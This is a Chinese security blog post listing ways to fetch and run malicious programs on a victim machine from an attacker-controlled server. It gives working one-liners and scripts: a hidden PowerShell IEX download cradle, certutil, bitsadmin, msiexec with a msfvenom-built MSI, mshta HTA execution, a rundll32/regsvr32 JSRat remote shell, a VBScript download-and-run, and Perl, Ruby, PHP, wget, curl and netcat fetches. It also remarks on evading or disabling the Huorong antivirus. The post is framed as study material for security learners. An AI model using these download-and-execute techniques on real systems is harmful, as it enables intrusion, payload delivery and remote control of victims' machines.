恶意程序研究之远程下载恶意程序

2020-07-28 8,268

声明

郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!



前言


我知道上篇文章没有写完,但是把看到什么学什么,要终结的嘛你说是吧(ps:后续有其他方法也会更新到这里的


Windows


命令行自带工具

1.PowerShell

PowerShell是一种跨平台的任务自动化和配置管理框架,由命令行管理程序和脚本语言组成,与大多数接受并返回文本的 shell 不同,PowerShell构建在 .NET公共语言运行时 (CLR) 的基础之上,接受并返回.NET对象,这从根本上的改变引入了全新的自动化工具和方法。

远程下载文件到本地:

powershell (new-object 
System.Net.WebClient).DownloadFile('http://192.168.183.138:8000/test.txt','test.exe')

直接把文本转换为exe文件运行,无残留文件

powershell -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring('http://192.168.183.138:8000/test.txt'))"

可以发现执行了,火绒都跑出来了23333

2.certutil

certutil.exe是一个命令行程序,作为证书服务的一部分安装,你可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件,以及验证证书,密钥对和证书链。

可以借助certutil来实现远程下载文件到本地:

certutil -urlcache -split -f http://192.168.183.138:8000/test.txt test.exe

3.Bitsadmin

BITSAdmin是一个命令行工具,可用于创建下载或上传并监视其进度,自windows7 以上版本内置bitsadmin,它可以在网络不稳定的状态下下载文件,出错会自动重试,在比较复杂的网络环境下,有着不错的性能。

可以通过在目标主机上执行以下命令来实现远程文件下载:

bitsadmin /transfer n http://192.168.183.138:8000/test.txt F:ascotbetest.ext

4.FTP

FTP(File Transfer Protocol,文件传输协议)是TCP/IP 协议组中的协议之一。FTP协议包括两个组成部分,其一为FTP服务器,其二为FTP客户端,其中FTP服务器用来存储文件,用户可以使用FTP客户端通过FTP协议访问位于FTP服务器上的资源。

首先利用FileZilla来搭建个服务器

在目标主机上远程下载test.txt文件

5.msiexec

msiexec是windows自带的cmd工具,支持远程下载功能,攻击者可以将msi文件上传到服务器并执行,下面通过一个实例做演示说明,首先我们通过msfvenom来构造一个恶意的msi程序(这里以弹计算器为例,在实战中可以根据需要进行修改),并启动一个简易

制作服务:

然后运行命令

msiexec /q /i http://192.168.183.138:8000/ascotbe.msi

还是把火绒给关了不然直接给我拦截了

6.mshta

mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件,我们可以在本地构建hta文件,之后通过目标主机的mshta来远程下载并执行,例如在本地创建以下hta文件:

<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c calc.exe" // 待执行的命令
self.close
</script>
<body>
Demo
</body>
</HEAD>
</HTML>

然后在受害机器上执行

mshta http://192.168.183.138:8000/ascotbe.hta

这里说一句,火绒没拦截??????有点意思

也可以用MSF或者CS生产hta文件,直接受害者机器执行就能上线

7.rundll32

Rundll32.exe功能是以命令行的方式调用动态链接程序库,系统中还有一个Rundll64.exe文件,它的意思是"执行64位的DLL文件", 其命令行下的使用方法为:Rundll32.exe DLLname,Functionname Arguments,其中DLLname为需要执行的DLL文件名,Functionname为前边需要执行的DLL文件的具体引出函数,Arguments为引出函数的具体参数。

使用JSRat来做演示,项目地址:https://github.com/Hood3dRob1n/JSRat-Py

使用命令如下命令来开启服务

python JSRat.py -i 192.168.183.138 -p 8023

然后访问http://192.168.183.138:8023/wtf这边有教你怎么用

执行完命令可以看到目标已经连上了

注意:这边powershell运行会报错,需要使用cmd才行

8.regsv***

Regsv***命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行,我们可以通过该命令来实现远程文件下载

搭建服务方式和上面的一样,然后还是访问那个URL

执行这个命令

可以看到直接连上了

9.VisualBasic

自1998年以来,Visual Basic的最终版本已在Windows计算机上成为标准配置。以下脚本可以下载您选择的文件。但是,该脚本比PowerShell脚本大得多。

把这段代码写到文本里面然后保存为vbs后缀

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.183.138:8000/asctobe.hta",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "F:\ascotbe\ascotbe.hta",2 '保存在哪里
wscript.sleep 1000
Shell.Run ("F:\ascotbe\ascotbe.hta") '延迟过后执行下载文件

然后运行命令执行他

wscript .test.vbs

还是主要下载exe文件,运行的话比较方便


Linux


1.Perl

Perl是目前很受欢迎的主流脚本语言,linux主机一般都自带perl环境,我们可以在终端中使用vim来编辑一个perl脚本,之后执行perl来实现远程文件下载

把下面代码保存为test.pl

#!perl
#!/usr/bin/perl
use LWP::Simple;
getstore("http://192.168.1.7:8000/ascotbe.hta","test.hta");

然后运行

perl test.pl


第三方软件


一、Windows/Linux通用

1.Wget

wget 是一个从网络上自动下载文件的自由工具,支持通过 HTTP、HTTPS、FTP 三个最常见的 TCP/IP协议下载,并可以使用HTTP 代理。"wget" 这个名称来源于 “World Wide Web” 与 “get” 的结合。

直接下载服务器下的文件

wget http://192.168.183.138:8000/test.txt
2.curl

cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行,它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具,cURL还包含了用于程序开发的libcurl。

curl http://192.168.183.138:8000/test.txt -o evil.exe
3.ncat

nc是一款安全工具,它还有其他的名字 Netcat, Ncat 可用来做端口扫描,端口转发,连接远程系统等。

服务器运行

nc -lvp 8023 < ascotbe.exe

受害机器下载运行

nc  192.168.183.138 8023 > ascotbe.exe
4.Python

Python是目前很受欢迎的主流脚本语言,这个的话直接用request请求然后获取数据保存为XXX.txt文件即可

5.Ruby

当目标主机内安装了Ruby时

把文件保存为test.rb,使用的是默认80端口

#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("192.168.183.142") { |http|
r = http.get("/ascotbe.sh")
open("test.sh", "wb") { |file|
file.write(r.body)}}

然后运行

ruby test.rb

6.PHP

当目标主机内安装了PHP时

把下面代码保存为test.php

<?php
 $data = @file("http://192.168.183.142/ascotbe.sh");
        $lf = "test.sh";
        $fh = fopen($lf, 'w');
        fwrite($fh, $data[0]);
        fclose($fh);
?>

然后运行

php test.php


二、仅限Windows

1.Notepad

如果你有权限接入一台(远程连接或者物理机)电脑,但是当前用户权限不允许打开浏览器,但是目标主机有安装notepad那么可以下载保存运行一部到位

首先点击这个

然后这个位置输入WEB连接

可以看到这个

当然windows自带的notepad.exe也是一样可以打开远程文件的,用法也是一样

打开如下


三、仅限Linux

1.Axel

这是wget的出色替代者,是一款轻量级下载实用工具。它实际上是个加速器,因为它打开了多路http连接,可下载独立文件片段,因而文件下载起来更快速。

安装

apt-get install axel

下载

axel http://192.168.1.7:8000/ascotbe.hta

2.Aria2

这是一种开源命令行下载加速器,支持多个端口,你可以使用最大带宽来下载文件,是一款易于安装、易于使用的工具。

安装

apt-get install aria2

下载

aria2c http://192.168.1.7:8000/ascotbe.hta


参考文章



https://linux.cn/article-7369-1.html 
https://blog.netspi.com/15-ways-to-download-a-file/ 
https://xz.aliyun.com/t/7937


本文作者:ascotbe

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/136186.html

Tags:
评论  (0)
快来写下你的想法吧!

ascotbe

文章数:12 积分: 190

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号